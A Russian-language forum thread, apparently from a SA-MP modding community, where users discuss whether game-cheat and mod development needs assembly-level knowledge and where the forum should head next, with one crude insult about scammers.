Самп по правде идеальный плацдарм для вхождения в программирование и другие сферы деятельности. Он даёт опыт и максимально быстрый фидбэк. Я не воспринимаю статьи подобного рода за магию, но думаю, что если разработчик смог опуститься до ассемблера, то в самп сегменте ему точно делать нечего для своего развития и из-за этого удивлён подобной статье. Да и самому blast-hack как я думаю лучше идти дальше, чем просто быть форумом к модификации. Пример подобного развития - zelenka.guru, но там совершенно другая подача и уход в скам сферу, чем он мне и не нравится.
 

EvgeN 1137

?
Автор темы
Проверенный
160
596
(ниже только машинный код)
Ну грубо говоря я и до машинных кодов опускался, когда гаджеты искал, и когда "жонглировал" с гаджетом stack pivot, считается? А давненько я и такую штуку делал.
чего не ожидал от самп комьюнити
Ну вообще-то без "опускания до ассемблера" не обойтись при разработке таких фундаментальных читов, как собейт, сампфункс, мунлоадер и т.п., да и многие другие модификации (в их числе также и фиксы, оптимизаторы и патчи) используют хуки и другие низкоуровневые приёмы. Достаточно много людей в коммьюнити сампа обладают подобными знаниями. Не так много, как рядовых луа скриптеров, конечно, но всё же.
 

manukhov

Известный
126
128
Пример подобного развития - zelenka.guru, но там совершенно другая подача и уход в скам сферу, чем он мне и не нравится.
ну а это нормальный форум для энтузиастов, а не пидарасов у которых смысл жизни наебать других чтобы заработать
 
  • Нравится
  • Bug
Реакции: Vintik, ChromiusJ и Fott

Shishkin

Известный
488
249
Ну грубо говоря я и до машинных кодов опускался, когда гаджеты искал, и когда "жонглировал" с гаджетом stack pivot, считается? А давненько я и такую штуку делал.

Ну вообще-то без "опускания до ассемблера" не обойтись при разработке таких фундаментальных читов, как собейт, сампфункс, мунлоадер и т.п., да и многие другие модификации (в их числе также и фиксы, оптимизаторы и патчи) используют хуки и другие низкоуровневые приёмы. Достаточно много людей в коммьюнити сампа обладают подобными знаниями. Не так много, как рядовых луа скриптеров, конечно, но всё же.
Лично я думал, что все подобные читы написаны чисто на c++. Просто не особа вижу смысла опускаться ниже. Возможно правда есть такая необходимость при перехвате/обработке трафика (Подобные топовый софт никогда не пытался писать). Но, ладно, мне есть куда расти и это хорошо, спасибо за ответ :)

ну а это нормальный форум для энтузиастов, а не пидарасов у которых смысл жизни наебать других чтобы заработать
В данный момент blast-hack это форум для энтузиастов самперов, а не для обычных энтузиастов.
Вот хотелось бы развитие в эту сторону. Минус того форума я упомянул.